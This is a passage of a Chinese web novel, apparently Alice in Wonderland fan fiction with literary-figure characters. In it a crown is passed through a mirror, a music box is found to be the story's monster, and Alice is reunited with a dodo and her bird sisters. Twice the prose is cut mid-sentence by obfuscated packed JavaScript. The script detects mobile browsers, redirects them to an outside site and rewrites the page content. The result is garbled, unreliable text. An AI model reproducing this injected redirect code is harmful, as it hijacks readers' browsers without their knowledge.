爱丽丝女皇说,认出了这就是在宴会前和自己聊过有关于骑士先生话题的人。 她睁大了眼睛,看着镜子中的另一位女王。 对方出现的方式还是那么奇特,而且看上去依旧非常具有一位女王应该拥有的风度,这让小爱丽丝忍不住有点自惭形愧。尤其是她刚刚还在想着不想当国王的事情。 爱丽丝的脸都有点红了。 “天啊,她是多么漂亮。” 她小声地对自己说:“而且看上去她的女王当得要比我好得多!也要聪明得多!当时她一下就猜出来了我的名字,但是我到现在都不知道她叫什么就是证据。” 但好在爱丽丝现在并不是什么都没有,她至少还有一只渡渡鸟。而现在她必须要为自己晕头晕脑的渡渡鸟说点什么。 “卡罗尔先生是非常好的渡渡鸟。” 小女皇这么说:“他真的很会安慰我,而且一路陪着我走到了这里。他晕头晕脑应该是因为我出门时把它撞倒了。啊,说起来!他简直就和白骑士先生一样。” 她陷入了奇怪的回忆当中:“他也是很会安慰人,而且总是显得晕头晕脑!那是因为他总是很容易从马上摔下来,就像骑不住马一样。而且他每次都会摔得头朝地!” 如果夏章雾在这里,大概能意识到这是因为渡渡鸟的头盔实在是太沉了,没有办法很好地在马背上保持平衡。但很可惜的是,能指明这件事的人并不在这里。于是整件事听上去就像是某位渡渡鸟在某年某月某日得了小儿麻痹症。 “渡?” 卡罗尔先生发出迷茫的声音,似乎正在想象自己每走两步就要头朝下地摔一跤的样子,最后心有余悸地摸了摸自己的脑袋。 而阿尔贝蒂娜则是笑了起来。 “而且听上去他好像同样把你从很沮丧的境地当中拯救出来了。”她说。 “就和骑士先生一样!”爱丽丝女皇说,似乎是想起了那个还不是女皇的自己。 她很认真地扳着手指,计算道:“当时骑士先生从别的骑士当中救下了我!卡罗尔先生也带着我从那个地方远远地跑掉了!” 镜中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453927|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女王歪了下头:“那个地方?” “嗯嗯嗯,就是这里的大厅。这个地方真的好奇怪,不仅没有会唱歌的门,也没有会跳舞的布丁和烤鸭,更没有到处乱飞的碟子!” 爱丽丝女皇说出这句话的时候看上去真的很困惑不解。这个小姑娘完全没有办法想象没有这些奇迹的世界,她现在完全记不得外面的生活到底是什么样子了。 她放下手,用很苦恼的语气说道:“而且每个人说的话我都根本听不懂。以前我只是听不懂伊迪丝说的话,因为她只喜欢叽叽叽地叫。但现在我多希望能听到伊迪丝的话啊,叽叽叽的声音实在是太简单了!” 然后她就把原来那个大厅里面发生的事情全都告诉给了镜子里的女王陛下——当然,是在她理解中发生的事情。 小爱丽丝很明显没能力说出全部的内容。 实际上,她讲得前后颠倒,逻辑混乱,加入了大量主观的描述(比如“我真的不明白他们说了什么,但我回过神来时就已经在跑了”)。但好在另外两个人都能明白到底发生了什么。 卡罗尔是因为他本身就足够了解爱丽丝——至少是这个爱丽丝里作为爱丽丝的那一部分。而阿尔贝蒂娜能听懂的理由就很纯粹了。 因为这些内容费奥多尔和夏章雾提前就和她商议过。她手中已经提前拿好了接下来该怎么表演的剧情台本。 “听起来很糟糕。” 女王评价道:“所以你打算怎么办?” 渡渡鸟卡罗尔发出一声含糊的嘟哝。他稍微拉长了点脖子,用那对淡蓝色的眼睛看着对这个问题苦思冥想的爱丽丝,似乎想要说些什么。 但他最后什么都没有说,只是突然“哒哒哒”地跑远了。等到正在头疼地思考着这个问题的爱丽丝女皇抬起头时,发现渡渡鸟已经不知道跑到了什么地方。 “卡罗尔先生呢?” 她找了一圈,感觉自己的脑袋更晕了:“他好像又不见了。为什么大家总是喜欢这样一声不吭地消失不见?我记得很久之前遇到的一只叫柴郡猫的猫也是这样,不过那时它是从下到上慢慢消失的,从来都不会这么突然……” “也许他有什么东西被丢在了后面。” 阿尔贝蒂娜说,用漂亮的银灰色眼睛看着面前的女孩儿:“不过你已经想好到底该怎么解决这些事情了吗?你可是这里的女皇,如果你都没有办法解决它的话,那么谁都没有办法能够替你做到。” “呀!”爱丽丝女皇顿时发出小小的、沮丧的声音,显得有些胆怯和沮丧。 “其实我还是没有想明白。” 她老老实实地说:“他们想杀死国王……但为什么要这么做呢?我不想死,而且我也不想承认自己已经死掉了。我简直都想要把这个王冠送给别人——哎呀!把麻烦甩给别人!爱丽丝,你真是个没有责任心的坏孩子。” 她摸了摸自己的王冠,露出失落的表情。 她知道自己的想法实在是很坏。但她也真的很害怕死亡。虽然在她的记忆里,自己还没有经历过死亡。 “就算是我要把王冠丢给什么人。” 爱丽丝女皇最后对自己说,下定决心:“那也必须给一位很厉害、也很能够拿主意的人。最好他们还没有办法杀掉他或者她。这样大家的游戏就永远也不用结束了!你说对吧?” 最后这句话她是对镜子里的另一位女王陛下说的。阿尔贝蒂娜眨了眨眼睛,还没有来得及开口,就又被爱丽丝女皇打断了。 “等等!” 她说:“这么来看,你就是最好的选择!你看上去那么聪明又漂亮,而且看上去很明白这里的情况。最重要的是,你已经是一位女王了,所以你肯定也很知道怎么当一位女皇!” 阿尔贝蒂娜歪了下头。 她的表情有点惊讶:“我?可是你甚至连我的名字都还不知道——” “所以你叫什么名字?” 爱丽丝女皇睁着天真的大眼睛:“我总觉得你应该叫维多利亚。” “事实上是阿尔贝蒂娜。维多利亚这个名字应该属于我祖母的曾祖母。” 镜子里的小女王也忍不住嘟哝了一句:“不过当时我差点就叫维多利亚了。好在最后是别的名字得到了更多的赞同。” 她的表情似乎有点忧郁。爱丽丝女皇很同情地看了她一眼,看到自己的这位朋友似乎对肾上突如其来的新责任没有什么意见后,大声说道: “那么,阿尔贝蒂娜!” 她把自己的王冠摘下来,然后用力地往镜子里面一扔:“你现在就是这里的国王啦!不过你也可以把国王的位置交给别人,只要不被他们找到就行。” 爱丽丝的眼睛亮晶晶的。 她这时真的觉得自己很聪明。 好吧,我的意思是——仅限于这时。 61.在下师承乃大汉棋圣 爱丽丝是这个故事里独一无二的存在。 她是那么独特,以至于一下子就能让人看出来这不仅仅是个国际象棋的游戏,更像是发生在国际象棋世界观里的一场角色冒险。 因为她总是能打破国际象棋的规则:她从兵变成了王后,然后又变成了国王,最后她同时担任了国王和女王的职务。 而争抢王冠的倒霉狮子和独角兽之前已经证明了一点:明明其他人就算是拿到了王冠也没有办法成为国王的。 这个世界的规则总是在为她绕道。她就是被命运注定的主角——虽然仅仅是这个仙境或者冥府当中的主角。她在这里近乎于心想事成。 所以当她想要把自己手上的这顶王冠丢到镜子的对面、现实的另一边时,瓦楞纸制作的王冠就这样自然而然地穿过了镜子。 ——就在这一瞬间,仙境当中永远都不曾停歇下来的音乐消失了。 阿尔贝蒂娜女王下意识地伸手接住这顶来自于死亡世界的冠冕。 在瓦楞纸的掩盖下,王冠有着冰凉而又坚硬的触感。阿尔贝蒂娜把外面的瓦楞纸外壳尝试性地解开,看到了那顶亮闪闪的国王王冠。 它镶嵌着华丽的宝石,黄金的镂空纹路形成玄妙的分型图案,完美得无可挑剔。它精致得仿佛足以把世界上所有的赞美放在它的身上,足以从任何美学的角度分析并阐释它造型的魅力。 而在它的侧边,有一个小小的机械发条。 阿尔贝蒂娜没有把这顶王冠戴到头顶上,而是下意识地把手指搭在了机械发条上。 ——旋转它,扭动它。让歌声再次响起,让它一圈圈地舞蹈,让故事无穷无尽地延续吧。 似乎有柔和甜蜜的声音如是说。 ——日不落帝国的女王啊,现在您可以让太阳真的永远都不从世界的边疆落下。您的荣耀将永远笼罩在大地之上,您将有永恒的时光去追求任何您想要追求的事物,完成您想完成的事业,您将有时间完成自己一切的梦想。 似乎有轻松欢快的声音如是说。 ——您曾经为这个身份舍弃的东西,长大后无奈放弃的东西,在永恒的时间中都可以取回。这里没有失去、没有死亡、没有牺牲,也不需要妥协。那个世界将是圆满的,女王陛下。只要您轻轻地扭动它。 它们齐声说: ——扭动这根发条,女王陛下。 它们齐声笑: ——扭动这枚钥匙,女王陛下。 它们齐声歌唱道: ——把永恒带到这个世界,女王陛下! “嘶!” 盘在女王身上的赤蛇突然发出警告的声音,然后猛地窜了出来,一个头槌就撞掉了阿尔贝蒂娜手中的王冠。 “诶?”阿尔贝蒂娜这才如梦初醒,赶紧把手缩了回来,露出警惕的表情,看着已经被蛇用嘴咬住的王冠。 蛇抬起脑袋,发出含糊的嘟哝声,然后转身就离开了这里。几乎是在一瞬间,它的身影就已经消失不见了。 爱丽丝女皇用两只手捂住嘴,吃惊又茫然地“呀”了一声。她的表情看上去真的很困惑,显然对现在正在发生的事情感到更迷糊了。 “蛇先生是觉得自己也很适合当国王吗?” 小姑娘想了半天,才想起来自己要说什么,连忙担忧地往左右望去:“它现在到哪里去了?它要是被抓走怎么办?” 阿尔贝蒂娜轻轻地揉了揉自己被蛇撞得有点发红的手腕,看着镜子另一面困惑不解、甚至打算跑出去找找蛇到底在哪里的女孩,似乎短暂地犹豫了一下。 “爱丽丝。” 她说。 爱丽丝不解地抬起头,暂时停下了寻找那条带着王冠离开的蛇的行动:“有什么事情吗,阿尔贝蒂娜?” “你的确还没有死去。” 阿尔贝蒂娜女王看着面前这个用人类的灵魂和其他未知的东西塑造出来的孩子,她想着这个女孩戴上王冠时听到了什么样的声音,她回忆着在很久很久之前发生的事情。 那时她甚至还比现在的爱丽丝小一些。 那是她第一次遇到OOL。那是一个漆黑的夜晚,漆黑的夜晚就是它身上漆黑的鳞片。它吞下了最后的白昼,然后低头俯视着自己,银白色的月亮是它的虹膜。 她在它的面前什么都做不到,只能感受那种无处可躲的不安与迷茫,只能看着那个怪物发出懒散的、低沉的声音。 “真是熟悉的场景啊,年轻的公主。” 它说:“如果我在这里杀掉你,会有一个家伙过来杀死我吗?” ——啊,还真是令人怀念的回忆。 阿尔贝蒂娜短暂地闭了闭眼睛。然后她用平静而坚定的语气说:“爱丽丝,你的生命是在这里才刚刚开始的。无论如何,如果你真的想要知道这里发生了什么,就去找勒托先生吧。” “不过你也可以用最后的时间看看星星,或者随便做点自己喜欢的事情。正如我之前所说的那样,真相并不是每个人都必须追求的东西。” 镜子中的女王露出有些无奈的微笑:“这是最后的时间了,爱丽丝。永恒已经结束了。” 已经不再是女皇的爱丽丝女皇睁大了那对蓝眼睛,用迷茫又懵懂的目光看着她,似乎不明白为什么就连阿尔贝蒂娜都开始和她说谜语了。 不过也许谜语就是这个游戏的一环。因为她一路走过来时,基本上遇到的每个人都在和她说谜语。但这次爱丽丝不打算自己偷偷地在心里疑惑了,而是要大声地问出来。 “所以,什么叫做‘结束了’?”她问。 “就是死亡。” 镜子那头年轻的女王这么回答:“就是这里的一切都会消失,包括你。” …… “所以,我们必须得解决这里的事情。你想一想,要是过了几百年,别说你能不能对爱丽丝的死亡感到伤感,你甚至有可能都没有办法想起来自己还有个死去的妹妹。” 为了掩饰自己现在非常不想也不敢和俄罗斯人说话的尴尬,夏章雾还在尝试用自己的长篇大论来说服在场的另外两只鸟类。 “而且你需要认清的一点是,爱丽丝其实早就死了,那位小女皇并不是她。如果你非要说些什么的话,也许我会带你去看有其他爱丽丝在的地方……呃,话说那地方还在吗?” 夏章雾突然陷入了沉思。 这期间唯一值得欣慰的事情大概就是小吸蜜鹦鹉全程都在反驳,不像是伊迪丝那样听了一半就迷迷糊糊地睡着。 “首先!” 罗丽娜气愤地说:“如果现在其他的爱丽丝不在了,那肯定是你的问题——我的直觉就是这么告诉我的!其次,我才不会忘记大家!” “那是因为你还没有活那么久。” 然而他对面狡猾的大人向来很会利用自己的优势——哪怕他非常讨厌的优势。 他理直气壮地这么说:“你看,我是一位从一千年前就已经存在的先知。然而我已经不记得自己当年到底做了什么事情了,完全不记得。在时间面前,你最好别那么信任自己的记忆力。” “确实是这样。” 费奥多尔旁边赞同地点了点头:“但我觉得您这种忘掉自己过去的速度是和时间无关。毕竟我在十五分钟前还提醒了我的名字是什么,但您看上去已经完全忘记了。” “……” 夏章雾沉默地望了他一眼。 “需要我帮忙作弊把他的名字告诉你吗?” 画外音笑嘻嘻地说:“这样你就有相当有力的证据来反驳他了。嗯,就像这样?” 说着说着,它捏着嗓子表演起来:“费奥多尔,别总是说我不知道你的名字了!你的全名就是费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基!我记得清清楚楚!” “别发癫。” 然而夏章雾只是冷酷无情地这么回答:“我是绝对不会好好地把那家伙的名字说出来的。这已经不是单纯记忆的问题了,现在是‘谁喊了对方的真名谁就会输掉的环节’。” “哇哦,听起来真幼稚。” 画外音怀疑地说:“而且感觉非常像是你根本想不起来对方名字而产生的借口。等等,这肯定就是借口吧?” 这次夏章雾干脆就没有理会它。 他的表情突然严肃起来,抬头注视着上方,就像是那里发生了什么决定性的事件。那只伊迪丝小鹰也不再睡觉了,而是迷糊地抬头。 “音乐声停了。” 夏章雾说。 和他当时在被邀请“演讲”时发生的事类似:但与当时只是出现了延迟与卡顿不同,这次音乐的声音出现了彻底的终止。 被这首不断循环的音乐包围了无数时间的死亡世界终于清静了下来,最后呈现出一种可怕的空懂:尤其是现在这个世界的外面只是由玻璃天空、钢管大地和各种扭曲事物拼成的风景。 在这个撤走了所有玩具与装饰的玩具屋,最后只剩下空荡荡的布景和无言的死亡。 “女王陛下那里应该进行得很顺利。” 费奥多尔眨了下眼睛,这么说。 “真有信心。”夏章雾收回目光,“所以你是又藏了什么备用后手吗?” “很简单。如果她没能通过和平交涉的手段拿走王冠,那条蛇会主动采取比较直接的方法,直接把王冠从爱丽丝陛下的手中取走。” 俄罗斯人十分淡定地说出了自己原来就做好的备案:“但这个计划有相当大的不确定性:虽然那个OOL正在全力以赴地尝试吞并现实,但如果爱丽丝的王冠被蛇强行夺走,它也有可能暂时放缓计划,进行反制。” 夏章雾虚起眼睛。 他听明白了费奥多尔的意思:如果没有这个风险,那么和平交涉估计就要成为被动方案了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461005|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但很明显,在场的小吸蜜鹦鹉没有听明白。 “你们为什么要拿走爱丽丝的王冠?音乐停下来到底意味着什么?” 她之前只刚刚理解了OOL的概念,更多的内容夏章雾还没来得及和她说,因此表现出了气鼓鼓的样子:“我之前就想问你们了,你们不是要杀死这个OOL吗?为什么你们摆出一副要杀掉爱丽丝的样子?你们真的把她给吓坏了!” “吓她是为了让她选择脱离女皇的身份,把王冠自愿交给我们大不列颠的女王陛下。” 夏章雾叹了口气,尽可能地用简洁易懂的语言给面前的孩子解释道,同时也是在梳理自己的思路:“这个OOL很需要让爱丽丝取代她。所以当爱丽丝的王冠来到阿尔贝蒂娜的手中时,它不会尝试阻止。” 他说:“因为如果女王陛下选择戴上这顶王冠,就相当于她自愿成为这片土地的女王。她和她的领土都加入了这个永恒的游戏。OOL的目的就达成了。” 罗丽娜看样子还有点懵懵懂懂。 “那拿到王冠之后呢……”她说。 很好的问题。 夏章雾想,接下来的事情他也只能说是纯粹的猜测了。但他有很大的信心猜对——就像是在见到那只漆黑的斯芬克斯前一样充满信心。 读者们的评论,他所看到的景象,天空中回荡的旋律,逆位的女皇牌,还有那个该死的喜欢悄无声息地埋伏笔和暗示的混蛋作者…… “等等?”画外音发出狐疑的声音,“怎么到我这里就开始骂了?明明有的信息还是我主动告诉读者的啊,比如说那个逆位女皇。” 这些东西全都可以用来说明他心中的答案。 “其实我一直很好奇一件事。” 夏章雾轻声地说:“爱丽丝女皇在这里的权力实在是太大了。也许她的身份确实很重要,但这样一个被OOL制造出来的存在,真的重要到了可以任意地指使这里一切的程度了吗?” 这个由《爱丽丝漫游奇境》与《爱丽丝镜中奇遇》组合成的文学负面体为什么那么地优待爱丽丝? 人间失格说过,除了它以外,没有哪个文学负面体还带有对更高维度的记忆。在这个文学负面体看来,它自己也只是偶然诞生在世界上的怪物,天生就怀抱着对人类的恶意。 就连刘易斯·卡罗尔在这里都没有得到特别的优待:尽管他因为各种巧合而被卷入了这次的风波,尽管他现在还是渡渡鸟。 但这种特殊待遇更像是因为这里的女主人是“爱丽丝”——那个和卡罗尔、自己的姐妹间分享着“渡渡鸟”“吸蜜鹦鹉”和“小鹰”昵称的人。 “比起这里是由那个OOL创造的。” 夏章雾缓缓地自言自语:“这里更像是因为爱丽丝想生活在一个一厢情愿的快乐世界里,于是才有了那些甜蜜的风景、有趣的冒险、古怪的谜题、自己的鸟雀姐妹,还有用“渡渡鸟”来称呼自己的那个奇怪大人。” 如果问那个或许已不存在的爱丽丝灵魂,卡罗尔为什么在这里是渡渡鸟,估计她也只会回答“因为卡罗尔先生就是渡渡渡鸟呀”这样的话吧。 罗丽娜睁大眼睛。 “该不会这里真是爱丽丝的梦吧?” 她嘟哝道:“她不会真的说对了?” “也许有这样的成分,但并不完全是。就像爱丽丝女皇也并完全不是那个曾经作为人类的爱丽丝。” 费奥多尔这样回答。他伸出手,那条已经恢复成平时大小的红蛇从虚空中冒出,缠在他的手腕上,并以过于热情的态度把口中衔着的王冠丢了过去。 干完这一切后,它甚至都没有来得及嘶上几声,就立刻消失了。而夏章雾则是稳稳地接住了被蛇抛来的王冠。 这顶王冠外表的瓦楞纸已经不见了,现在已经露出了其中精美绝伦的内里。夏章雾听着其中传来的劝诱声,甚至还饶有兴致地稍微掂量了两下,发现它的分量还不轻。 “挺啰嗦的啊,这玩意。” 他说:“可惜对我没用。” ——这种唠叨可打不败他。他当初在接触人间失格前,可是被作者的这类型魔音灌耳整整折磨了半个月,现在这种程度,洒洒水罢了。 “所以说,主角先生,你是不是该感谢一下我给你锻炼出的巨大毅力?喂,你别装听不出是我在说话。我知道你肯定能区分出我的声音和那玩意的声音。喂喂喂!你这是在装傻吧!” 夏章雾继续没理会它。 他没有触碰那个机械把手,而是握住这个内凹十字形的王冠的顶部,用力地撬动着,表情严肃地就像是在徒手开河蚌。 大概过了半分钟,这场角力最后以人类的胜利告终。伴随着“咔哒”一声,王冠的顶部被暴力地拆开,露出了里面的真容。 “这是……” 罗丽娜愣了愣:“这是爱丽丝七岁生日那天收到的八音盒?” 62.我们仍未知道那艘忒修斯之船的名字 一个八音盒。 但并不是传统样式的八音盒。 它的上方是一个雪花水晶球。无数纷纷扬扬的白色从玻璃罩子上面落下,落在简陋的底部,当中有一位小人孤零零的站着。可以想象的是,如果音乐播放起来,这个小人偶就能在水晶球里跳舞。 并且永远这样地跳舞下去。 小人的脸现在是一片空白。但夏章雾能够想象得出来,如果爱丽丝还戴着那顶王冠,这个小人的脸一定就是爱丽丝女皇的脸。 这个八音盒依旧固执地给夏章雾传递着希望它能够转动发条的信息。它给出了各种各样的许诺,它尝试用各种方式说服拿着自己的人,其中包括了不少胡言乱语。 ——比如它能感觉到夏章雾并不是人类,所以它愿意和他合作什么的。 夏章雾对此的态度则是冷冷一笑:人间失格这个知道自己正经身份的文学负面体都没对我说过“你不是人”的胡话,你竟然对我说这个? 呵呵,你当我和那群同样怀疑我人含量的读者一样好骗吗? “这个八音盒是什么?之前一直在响的音乐就是它播放的吗?” 罗丽娜还在探头探脑,和其他同龄的孩子一样,俨然就是个提问机器:“所以为什么王冠里面会藏着一个八音盒?” 费奥多尔抬起眼眸,简单地看了眼八音盒。 “因为这就是我们这次要杀死的OOL。” 他说:“它只是一个玩具。而玩具如果没有使用它的人,就永远都没有办法做什么。” 所以戴着王冠的爱丽丝是这里几乎能实现所有愿望的女皇,所以她才拥有那样的力量。 因为她就是这个玩具最初的拥有者与使用者——虽然她也是被这个玩具亲自制造出来的拥有者与使用者。 “大概在爱丽丝死时,它的能力就已经开始运转。它给死亡的爱丽丝制造了一个属于死亡的世界,然后它通过这个世界制造出了选择成为女皇的爱丽丝。” 夏章雾说,然后敲了敲水晶球的表面,听着上面传来的清脆声音。 之前他发现这里的音乐似乎与文学负面体的存在相关时就想到了这一点,尤其是联系到了评论区读者所说的“注意瓦楞纸王冠”“八音盒被提到了好多次”的评论。 而让他几乎确定自己猜想的,是这个世界被还原后的风景:玻璃的天空、裸露的钢铁管道,还有飘飘扬扬的“雪”。 如果想象过水晶球里的世界到底是什么样子的话,那么很容易就能发现,这简直就是一个雪花水晶球再经典不过的模样。 一切的罪魁祸首,一个小八音盒。 听上去有点莫名的黑色幽默。 “所以,就是这个玩具?” 罗丽娜不可置信地说:“这一切的事情全都是由这个玩具制造出来的?那爱丽丝的死是不是和它有关系?” 夏章雾很遗憾地看着她,耸耸肩。 “抱歉,但应该没有什么关系。” 他很是认真地分析道:“比起死亡,它大概更喜欢永恒的不死中发生的扭曲,也更擅长赋予人永生不死。不过如果这种想法如果有利于你发泄负面情绪,你倒是可以这么认为——我摔碎它的时候还可以多替你摔两下。” 这话他说的挺诚恳,但罗丽娜不知为何地变得更生气了。 “我已经很大了,才不要被当成小孩子哄!” 她不太高兴地扭过头:“你有这个时间还不如去哄哄伊迪丝!” 夏章雾叹了口气。 “小孩子真麻烦。”他对费奥多尔说。 而俄罗斯人的脸上只有淡淡的微笑,丝毫没有过来解围的意图。夏章雾只能无趣地撇撇嘴,伸手从对方那里要了一把手枪,将视线重新挪回八音盒上。 来到最后一步时,他需要做的反而比在面对人间失格时简单得多。 只要把它摧毁,就可以结束这一切了。 因为它只是一个玩具。如果说杀死斯芬克斯的方法是回答斯芬克斯的提问,那么毁掉一个玩具的方法自然就是来自大人的破坏。 打破梦境的总是最现实和最暴力的方法,打破孩子们妄想的也总是大人。 ——他现在也要成为这样的大人了啊。 夏章雾没有在意耳边越来越急促的邀约,只是表情平静地把枪口贴紧在玻璃圆弧上,解除保险,扳机慢慢地按下。 “等等等等一下!” 突兀的声音传来。 夏章雾停下了手中的动作,挑了挑眉。 那条红色的蛇不知何时又出现了,并且飞快地窜到了费奥多尔的肩膀上,为自己的阻拦大声辩解:“不是我要来的!是阿尔贝蒂娜女王派我过来的!” “阿尔贝蒂娜?” 夏章雾把枪口挪开,打量着这条蛇:“她有什么事情需要你通知?” “她说您不用把这个OOL立刻解决——” 蛇看到手枪,顿时打了个激灵,立刻应激地抬起身子,飞快地复述: “她说现实还是深夜,钟塔侍从还能继续维持伦敦的稳定。您只要在太阳升起之前解决这件事就行。那时她会让我前来通知。” 说实话,它其实并不是那么想要承担信使的责任。但它也知道,如果自己没有把这个信息传到,那么自己接下来要面对的可能就不是夏某人小打小闹的折腾了。 别看某人似乎在小孩子面前脾气还算正常,但和以前的他打过交道的蛇很清楚地明白,对于非人类,这个怎么看都不像人类的鸟人向来没有什么包容心。 “暂时推迟……” 夏章雾打量了一下蛇,几乎瞬间就明白了让它来到这里的阿尔贝蒂娜的小心思:“你可以回去告诉女王陛下,我这里没问题。” 蛇如蒙大赦地再次消失了。 罗丽娜有些茫然地在笼子里跳了几下,她没搞懂他们的意思。 “你们明明已经达成目的了吧,只要毁掉那个东西,你们的麻烦就全都解决了。” 小吸蜜鹦鹉问:“那女王为什么要让你们停下?她难道不在乎自己的国家了吗?” 然后她就同时得到了在场两个成年人看傻孩子的那种包容眼神。 “是啊,我们已经达成目的了。” 夏章雾说:“但你就不想用最后剩下来的时间再看看爱丽丝吗?” 小吸蜜鹦鹉愣住了。就连迷迷糊糊的伊迪丝都抬起了脑袋。 “姐姐,姐姐!”她说,“我要看姐姐!” 费奥多尔给她打开了笼子。 罗丽娜有些不安地看了看他们。她试探性地往前面走了两步,发现真的没人想要捉住自己,于是立刻就飞了出来,重新恢复了那种神气活现的样子。 “笨蛋伊迪丝,别在地上跑!你现在是一只小鹰,别表现得像是走地鸡一样!” 她大声地说:“我们飞去找笨蛋爱丽丝!” …… “我还是不明白你说的那些话的意思,什么OOL什么死亡,我都不懂。” 爱丽丝在玻璃走廊的尽头,很是失落地对镜子那头的阿尔贝蒂娜说:“虽然我很想搞清楚这里发生了什么,但它们简直比算术还要难懂!天啊,我好像突然就变成了大坏蛋……” “这不怪你,你也不是坏蛋。” 阿尔贝蒂娜用温和的语气回答:“你只是很不巧地死去了而已。” “但这些事情肯定也有我的原因。” 爱丽丝看样子依旧很垂头丧气:“而且就算我想要见别人最后一面,也谁都找不到。我不记得卡罗尔先生是怎么带我来的了,也不知道怎么回去,我当时只是在和他抱怨……我太笨了,什么都没法做好。” 但她还是想要去见自己的姐姐和妹妹——尽管那似乎不是自己的姐姐妹妹。她还想去见见渡渡鸟先生,见见勒托先生。她真的给大家添了太多的麻烦。爱丽丝现在觉得自己简直坏极了。 “我现在甚至比米德尔还要坏!” 她说:“我记得米德尔是个非常坏的人,他甚至会抢我们班级养的兔子的胡萝卜。也许我现在不是爱丽丝,而是米德尔。不过我还是要谢谢你,阿尔贝蒂娜。我要出发了。” 阿尔贝蒂娜轻轻地叹气。 “再见。”她做出了最后的告别,“爱丽丝。” 爱丽丝于是就这样踏上了“旅程”。 她离开了玻璃走廊,开始在这个比迷宫还要复杂的地方打转,有好几次她都觉得自己走了重复的路。 有几次她即使看到了人,那些人也根本不和她说话,而是满脸害怕地逃跑了。还有人让她也躲起来,不要到处乱跑。 “这肯定是我的错。也许是我做的事情把他们都吓到了,可我真的不是故意的!” 爱丽丝累得气喘吁吁,但还是对自己十分严厉地说:“但这时候不能哭,爱丽丝!时间不是用来哭泣的。你必须要试着做点什么,你现在已经不是女皇了,没法让时间为你停下来。” 于是她继续依靠着可怜的直觉在这个宫殿里面打转。但越到后面,她就觉得自己离想要找的人越远。在又一次问路被无视后,她终于蹲在角落里无助又难过地哭了起来。 “所以我真的要找不到罗丽娜、伊迪丝和卡罗尔先生了!”她抽抽噎噎地说,“天啊,我真笨!罗丽娜讲的真是一点没错!我甚至连去看他们最后一眼都做不到!” 她已经放弃了。因为她的腿又疼又酸,而且还不知道到底去哪里找人。她已经不是那个可以命令整个世界为她开路的女皇了。 “渡渡。” 当她哭了一会儿后,突然有一个很熟悉的声音传了过来。 爱丽丝睁开泪眼朦胧的眼睛,朝周围看去,发现自己周围已经全部都变得湿漉漉的。她不由自主地被吓了一跳,然后又觉得很不好意思。 “这是我哭出来的池塘吗?” 她说:“真对不起。我都不知道我哭起来竟然会有这么厉害。” “渡渡渡渡。” 似乎是在回答她的问题,一只渡渡鸟出现在了她的面前。 谁也不知道当时的爱丽丝到底有多高兴——她几乎因为喜悦而再次哭起来,然后猛地扑了上去,用力地抱住了渡渡鸟,以至于都没有发现天上飞的另外两只小鸟。 罗丽娜气鼓鼓的。 “笨蛋爱丽丝!”她说,“你就不知道往天空上面看一眼吗?这种拥抱怎么想都应该留给自己的姐姐妹妹——虽然我允许你先抱卡罗尔先生,但你也应该抱抱我们!” “罗丽娜!伊迪丝!” 这下爱丽丝是真的哭了:“原来你们都过来找我了!” “因为爱丽丝你是笨蛋。” 吸蜜鹦鹉趾高气昂地飞下来:“我就不指望笨蛋能靠自己找到我们……” 然后这只色彩艳丽又啰嗦的鸟儿就被爱丽丝同样用力地抱在了怀里,连同着伊迪丝一起用力抱着。她们都靠在渡渡鸟胸前厚厚的羽毛上,浑身都湿漉漉的。 渡渡鸟浑身的羽毛也沾满了水。他那对灰蓝色的眼睛温柔又哀伤地看着面前的小女孩们,然后给爱丽丝展示自己面前用绳子挂着的小瓶子。 瓶子上面有一张纸条。 爱丽丝揉了揉眼睛,这才发现上面写着的是“请拿出一条鱼,并放到耳朵里”。 “这就是卡罗尔先生要去拿的东西吗?” 她说:“我会照上面的内容做的。” 于是她拿起瓶子,取出里面一条半透明的小鱼,放到耳朵里。她感受到一阵冰凉的触感,然后就听到了那个非常熟悉的声音。 “这是我去去去问太宰他们要的。也不不不知道他们为什么突然玩起了大大大逃杀——所有人都被他们吓吓得到处乱跑。” 渡渡鸟嘟哝着:“我好好好不容易才找到他们,当时他们还在吓吓唬人,说要把他们抓去当人体实实验素材。这句话还是我我我拜托坂口安吾写的。” “没错。”罗丽娜说,“我飞到那里的时候真的被吓一跳。竟然真的有子弹,而且差点就擦到我的羽毛了!” “诶诶诶!” 爱丽丝抬起头,震惊地看着卡罗尔。 她突然意识到了什么:“卡罗尔先生,你你你会说话了!” “是你能听听听懂我的话了。” 卡罗尔有些无奈地回答。 爱丽丝有些无措地贴着渡渡鸟。她一时间都不知道该说什么,也不知道自己还能说什么。其实动物会说话在她以前的世界观里是很正常的事情,只是渡渡鸟一直都不会说话。 因此过了一会儿,她才突然想起来一件非常重要的事情。 “啊,你就是骑士先生!”她吃惊地说,“你和骑士先生说话的声音一模一样!就是骑士先生说起话来没有那么结巴!唔,至少他唱歌的时候没有那么结巴……” 小姑娘又纠结了起来。她看着渡渡鸟那对灰蓝色的眼睛,两只手环住膝盖,也不在乎自己正在一汪水泊中了。 “他还给你唱过歌?” 罗丽娜问。 “我还给你唱唱唱过歌?” 卡罗尔问。 “嗯。”爱丽丝说,“你还说那是你自己写的歌曲,但我能听得出来,那是《我已付出所有,毫无保留》的曲子。” 卡罗尔有些尴尬地“哦”了一声。伊迪丝则是突然叫嚷起来。 “伊迪丝想要听歌!”小鹰说,“伊迪丝想要听姐姐唱歌!” 